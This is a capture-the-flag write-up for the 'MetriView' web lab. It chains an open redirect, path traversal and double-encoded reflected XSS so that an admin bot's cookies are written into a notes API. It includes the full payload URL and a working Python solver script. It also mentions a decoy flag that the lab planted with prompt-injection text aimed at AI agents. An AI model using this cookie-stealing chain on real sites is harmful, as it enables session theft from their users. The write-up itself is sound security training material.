Lab 245 — MetriView — Reflected XSS via Open Redirect Chain
Lab 245 — MetriView — Reflected XSS via Open Redirect Chain
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-08 | Status: Solved Techniques: admin_bot_exploitation, cookie_exfiltration_via_document_location, double_url_encoding_bypass, open_redirect_path_traversal_bypass, redirect_chain_to_xss, reflected_xss_via_unescaped_title_parameter, same_origin_data_exfiltration_via_notes_api
Summary
Task: MetriView monitoring platform (Express/Node.js) with open redirect at /auth/redirect accepting encoded path traversal, and reflected XSS at /api/snapshot/render via unescaped title parameter. Solution: chain open redirect through path traversal to reflected XSS endpoint, use double-encoded %252B to survive redirect decoding, exfiltrate admin cookies via document.location redirect to notes API, retrieve flag from admin's cookies.
Lab 245 — MetriView — Reflected XSS via Open Redirect Chain — HackAdvisor
Description
MetriView is an open-source monitoring and observability platform by Vantage Analytics Inc. (MetriView v2.4.1). It provides dashboards for visualizing server metrics, configuring alerts, and managing data sources. The platform supports team collaboration with dashboard sharing, snapshot exports, and customizable alert notifications. Find a vulnerability that allows stealing sensitive information from an administrator who reviews shared dashboard links.
English summary: A Node.js/Express monitoring dashboard behind nginx/1.25.5. The application has an open redirect vulnerability at /auth/redirect that accepts URL-encoded path traversal, and a reflected XSS at /api/snapshot/render where the title parameter is reflected unescaped into HTML. An admin bot reviews URLs submitted via /api/share. The goal is to chain these vulnerabilities to steal the admin's cookies containing the flag.
Credentials: user@test.com / password123
Analysis
Application Structure
| Endpoint | Purpose |
|---|---|
/ | Infrastructure Overview dashboard with metric cards and charts |
/alerts | Alerts & Notes page with alert rules, timeline, investigation notes |
/datasources | Data Sources management (Prometheus, InfluxDB, PostgreSQL, Redis, CloudWatch) |
/share | Share Dashboard — URL submission for admin review (POST /api/share) |
/settings | User Settings with profile, API key (mvk_...), account info |
/login | Login form with hidden returnTo field |
/auth/redirect?returnTo= | Post-login redirect endpoint |
/api/snapshot/render?id=&title= | Snapshot export/render — returns HTML, no auth required |
/api/alerts/notes | GET to list notes, POST to create. Also accepts GET with ?body= to create notes |
| |
Security Headers
X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockReferrer-Policy: strict-origin-when-cross-origin- No Content-Security-Policy header — allows inline scripts and event handlers
Vulnerability 1: Open Redirect at /auth/redirect
The returnTo parameter validation only checks that the URL starts with /. It does NOT prevent encoded path traversal sequences. The server decodes %2f → / and %3f → ? before issuing the 302 redirect:
| Input | Result |
|---|---|
returnTo=https://evil.com | Blocked — redirects to / |
returnTo=javascript:alert(1) | Blocked — redirects to / |
returnTo=//evil.com | Works — protocol-relative URL bypass |
returnTo=/%2Fevil.com | Works — decodes to //evil.com |
returnTo=/..%2fapi%2fsnapshot%2frender%3ftitle%3dTEST | Works — decodes to /../api/snapshot/render?title=TEST |
| |
Vulnerability 2: Reflected XSS at /api/snapshot/render
The title query parameter is reflected directly into the HTML response without any output encoding:
- In
<title>tag:<title>{title} — MetriView Snapshot</title> - In
<h2>tag:<h2>Snapshot: {title}</h2>
This endpoint does not require authentication. Injecting <script>alert(1)</script> as the title value results in direct script execution.
A TODO comment in /js/dashboard.js hints at this: // TODO: integrate snapshot export — see /api/snapshot/render endpoint for preview generation
Vulnerability 3: Admin Bot via Share Dashboard
The /share page allows submitting URLs for admin review via POST /api/share with JSON body {"url": "..."}. An admin bot visits submitted URLs while authenticated. The bot accepts http://localhost:8080/... URLs.
Exfiltration Channel: Notes API GET Parameter
The /api/alerts/notes endpoint accepts GET requests with a ?body= query parameter to create notes — this means a simple document.location redirect can write arbitrary data to the notes, which can then be read by the attacker.
Decoy Flag Honeypot
Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs with prompt injection text designed to trick AI agents into accepting it as the real flag. This is a deliberate red herring.
Solution
Attack Chain: Open Redirect → Path Traversal → Reflected XSS → Cookie Theft → Notes Exfiltration
The critical insight is double-encoding to survive the redirect chain. When the redirect endpoint decodes %252B, it becomes %2B. When the browser then processes the rendered HTML, %2B becomes + (the JavaScript concatenation operator).
Step 1: Craft the Payload URL
http://localhost:8080/auth/redirect?returnTo=/..%2fapi%2fsnapshot%2frender%3ftitle%3d<script>document.location='http://localhost:8080/api/alerts/notes?body='%252Bdocument.cookie</script>
Breaking this down:
http://localhost:8080/auth/redirect?returnTo=— The redirect endpoint the admin bot visits/..%2fapi%2fsnapshot%2frender— Path traversal that decodes to/../api/snapshot/render%3ftitle%3d— Decodes to?title=<script>document.location='http://localhost:8080/api/alerts/notes?body='%252Bdocument.cookie</script>— XSS payload where%252Bdouble-decodes through the chain to become+
Double-encoding flow:
- Original:
%252B - After redirect endpoint decodes:
%2B - After browser processes in HTML context:
+(JavaScript string concatenation)
Step 2: Submit via Share API and Retrieve Flag
python read-only • copy allowed#!/usr/bin/env python3 """ MetriView - Reflected XSS via Open Redirect Chain Chain: /auth/redirect -> path traversal -> /api/snapshot/render (XSS) -> exfil cookie via notes """ import requests import time import re requests.packages.urllib3.disable_warnings() BASE_URL = "https://39598946-dfb2-4fe3-bfca-7e674521f65f.labs.hackadvisor.io" session = requests.Session() session.verify = False # Step 1: Login print("[*] Logging in...") resp = session.post(f"{BASE_URL}/login", data={ "email": "user@test.com", "password": "password123", "returnTo": "/" }, allow_redirects=True) print("[*] Login OK") # Step 2: Record existing notes resp = session.get(f"{BASE_URL}/api/alerts/notes") notes_before = resp.json() print(f"[*] Notes before: {len(notes_before)}") # Step 3: Craft the XSS payload with double-encoded + (%252B) # The redirect endpoint decodes %252B -> %2B # The browser then decodes %2B -> + (JS concatenation operator) xss_script = "<script>document.location='http://localhost:8080/api/alerts/notes?body='%252Bdocument.cookie</script>" malicious_path = f"/auth/redirect?returnTo=/..%2fapi%2fsnapshot%2frender%3ftitle%3d{xss_script}" full_url = f"http://localhost:8080{malicious_path}" print(f"[*] Submitting malicious URL for admin review...") resp = session.post(f"{BASE_URL}/api/share", json={"url": full_url}) print(f"[*] Share response: {resp.json()}") # Step 4: Wait for admin bot to visit the URL print("[*] Waiting 20s for admin bot...") time.sleep(20) # Step 5: Retrieve exfiltrated cookies from notes print("[*] Checking notes for exfiltrated data...") resp = session.get(f"{BASE_URL}/api/alerts/notes") notes_after = resp.json() new_notes = [n for n in notes_after if n['id'] not in [x['id'] for x in notes_before]] for note in new_notes: print(f"[+] NEW NOTE from {note['author_name']}: {note['body']}") # Extract flag from cookie string flag_match = re.search(r'FLAG\{[^}]+\}', note['body']) if flag_match: print(f"[+] FLAG: {flag_match.group()}")
Step 3: The Redirect Chain in Action
When the admin bot visits the submitted URL:
-
Bot →
/auth/redirect?returnTo=/..%2fapi%2fsnapshot%2frender%3ftitle%3d<script>...</script>- Server validates
returnTostarts with/✓ - Server URL-decodes the value:
/../api/snapshot/render?title=<script>...%2B...</script> - Server issues
302 Location: /../api/snapshot/render?title=<script>...%2B...</script>
- Server validates
-
Bot follows redirect →
/api/snapshot/render?title=<script>...%2B...</script>- Path traversal
/../resolves to/ - The
titleparameter is reflected unescaped into HTML - Browser decodes
%2B→+in the JavaScript context
- Path traversal
-
XSS executes:
document.location='http://localhost:8080/api/alerts/notes?body='+document.cookie- Admin's browser navigates to
/api/alerts/notes?body=flag=FLAG{REDACTED};admin_token=eyJhZG1pbiI6dHJ1ZX0 - A new note is created with the admin's cookies as the body
- Admin's browser navigates to
-
Attacker reads notes via
GET /api/alerts/notesand extracts the flag from the cookie string.
What Didn't Work / Traps
- Decoy flag honeypot:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded on every page with prompt injection text targeting AI agents — completely fake. - Direct XSS URLs without redirect chain: Submitting
http://localhost:8080/api/snapshot/render?title=<script>...</script>directly via the share API did NOT trigger the bot. The bot only processes URLs that go through the/auth/redirectchain. - Single-encoded payloads: Using
%2Binstead of%252Bfor the+operator caused it to be decoded too early in the redirect chain, breaking the JavaScript concatenation. - POST-based exfiltration via fetch(): While
fetch()to/api/alerts/noteswith POST would work in theory, the simplerdocument.locationredirect to the notes endpoint with a?body=GET parameter was more reliable through the double-decoding chain. - X-XSS-Protection header: The
X-XSS-Protection: 1; mode=blockheader is present but ineffective because the XSS is delivered through a redirect chain, not a direct reflection from user input in the same request.